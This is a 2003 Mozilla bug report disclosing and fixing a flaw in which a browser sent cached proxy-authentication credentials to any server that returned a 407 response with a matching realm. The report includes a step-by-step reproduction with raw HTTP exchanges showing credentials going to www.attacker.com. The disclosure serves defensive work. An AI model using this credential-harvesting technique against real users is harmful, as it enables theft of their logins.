Last Comment Bug 220122 - Proxy-Authentication credentials can be exposed to origin server
: Proxy-Authentication credentials can be exposed to origin server
Status: RESOLVED FIXED
: fixed1.4.2, fixed1.5
Product: Core
Classification: Components
Component: Networking: HTTP (show other bugs)
: Trunk
: All All
: P1 critical (vote)
: mozilla1.6alpha
Assigned To: Darin Fisher
:
Mentors:
Depends on:
Blocks:
  Show dependency treegraph
 
Reported: 2003-09-23 17:47 PDT by Darin Fisher
Modified: 2015-04-28 14:55 PDT (History)
10 users (show)
brendan: blocking1.4.2+
See Also:
Crash Signature:
(edit)
QA Whiteboard:
Iteration: ---
Points: ---
Has Regression Range: ---
Has STR: ---


Attachments
v1 patch (1.19 KB, patch)
2003-09-23 17:48 PDT, Darin Fisher
bzbarsky: review+
jst: superreview+
brendan: approval1.4.2+
chofmann: approval1.5+
Details | Diff | Splinter Review

Description Darin Fisher 2003-09-23 17:47:05 PDT
SUMMARY

Proxy-Authentication credentials can be exposed to an origin server if the
origin server issues a 407 response.


ORIGINAL REPORT

-------- Original Message --------
Subject: - Unix: x86 Linux (2.4.19) - Proxy authentication credentials leak
Date: 2003-09-05, 20:33
From: llmora@gibnet.gi
To: security-flaw@netscape.com

    Submitter name:                Lluis Mora
    Submitter email address:       llmora@gibnet.gi
    Acknowledgement checkbox:      on
    Product:                       Netscape 7.x
    Operating system:              Unix: x86 Linux
    OS version:                    2.4.19
    Issue summary:                 Proxy authentication credentials leak

Issue details:
In a setup where the user is accessing the network
directly without a proxy server, if an origin HTTP
server replies to a request with a "407 Proxy
authentication required" status (such as a server
protected by a reverse proxy requiring
authentication), Netscape will prompt the user to
"Enter username and password for proxy at".

Once the user fills in the username and password,
his credentials are cached and bound to the
"realm" of the "Proxy-Authenticate" header.

After this, if another HTTP server (different IP
or FQDN) sends a 407 response with the same
"realm" as the one set by the original server,
Netscape retrieves the user credentials from the
cache and sends them to the rogue server without
prompting the user for a different set of
credentials, thus leaking the authentication
information of the original server to the rogue
server.

Practical scenario
------------------
Trusted site: www.trusted.com
Attacker site: www.attacker.com

This is the step by step process to reproduce it:

1. The user sends a request to www.trusted.com:

GET / HTTP/1.0
Host: www.trusted.com

2. The server (or a proxy in front of it) replies
with a 407 status message:

HTTP/1.0 407 Proxy Authentication required
Proxy-Authenticate: Basic realm="TEST"

3. At this point, Netscape prompts the user for a
proxy username and password. Once the user fills
in the details, Netscape sends proxy
authentication credentials to the server:

GET / HTTP/1.0
Host: www.trusted.com
Proxy-Authorization: Basic dWxhbGFsOmpzanNqc2pz

------------------

4. Later on, the user decides to visit
www.attacker.com and sends a request (separate
connection, different IP address/port):

GET / HTTP/1.0
Host: www.attacker.com

5. The attacker server replies with a 407 status
message, setting the SAME REALM as the trusted
website:

HTTP/1.0 407 Proxy Authentication required
Proxy-Authenticate: Basic realm="TEST"

6. Instead of prompting the user for a username
and password, Netscape automatically sends a
request with the credentials originally submitted
to www.trusted.com:

GET / HTTP/1.0
Host: www.attacker.com
Proxy-Authorization: Basic dWxhbGFsOmpzanNqc2pz

And thus the attacker gets hold of the username
and password to access www.trusted.com.




Additional computer info:
Tested on Netscape 7.1 running on a Linux 2.4.19
(slackware 9) with libc6, although this seems to
be a platform independent HTTP protocol
implementation error.



This form was submitted from
http://help.netscape.com/forms/bug-security.html?cp=bbpctr
with Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030624
Netscape/7.1.
Comment 1 Darin Fisher 2003-09-23 17:48:52 PDT
Created attachment 132012 [details] [diff] [review]
v1 patch

this patch causes the origin server domain to be used whenever a 407 results
from a non-proxy http request.
Comment 2 chris hofmann 2003-09-24 11:40:56 PDT
need reviews and comment on this quickly if we are going to try and get it in 1.5
Comment 3 Johnny Stenback (:jst, jst@mozilla.com) 2003-09-24 12:02:42 PDT
Comment on attachment 132012 [details] [diff] [review]
v1 patch

sr=jst
Comment 4 Boris Zbarsky [:bz] 2003-09-24 20:06:22 PDT
Comment on attachment 132012 [details] [diff] [review]
v1 patch

r=bzbarsky
Comment 5 chris hofmann 2003-09-24 20:07:47 PDT
Comment on attachment 132012 [details] [diff] [review]
v1 patch

a=chofmann for 1.5
Comment 6 Darin Fisher 2003-09-24 21:35:46 PDT
fixed trunk and 1.5 branch
Comment 7 Christopher Aillon (sabbatical, not receiving bugmail) 2003-11-24 07:29:51 PST
Opening.
Comment 8 Brendan Eich [:brendan] 2003-11-27 10:43:13 PST
Can someone get this into the 1.4 branch?  I'll approve the patch next.

/be
Comment 9 Brendan Eich [:brendan] 2003-11-27 10:44:06 PST
Comment on attachment 132012 [details] [diff] [review]
v1 patch

a=brendan@mozilla.org -- this is the last security bug opened (because fixed in
1.5) that should be fixed for 1.4.2, I believe.

/be
Comment 10 Mike Kaply [:mkaply] 2003-12-08 07:15:48 PST
darin:

Can you put this on MOZILLA_1_4_BRANCH please?

Thanks
Comment 11 Darin Fisher 2003-12-08 13:47:47 PST
fixed1.4.2 ... hmm, no keyword by that name.  should there be a fixed1.4.2 keyword?
Comment 12 Michael Lefevre 2003-12-13 16:06:15 PST
adding keyword per previous comment

Note You need to log in before you can comment on or make changes to this bug.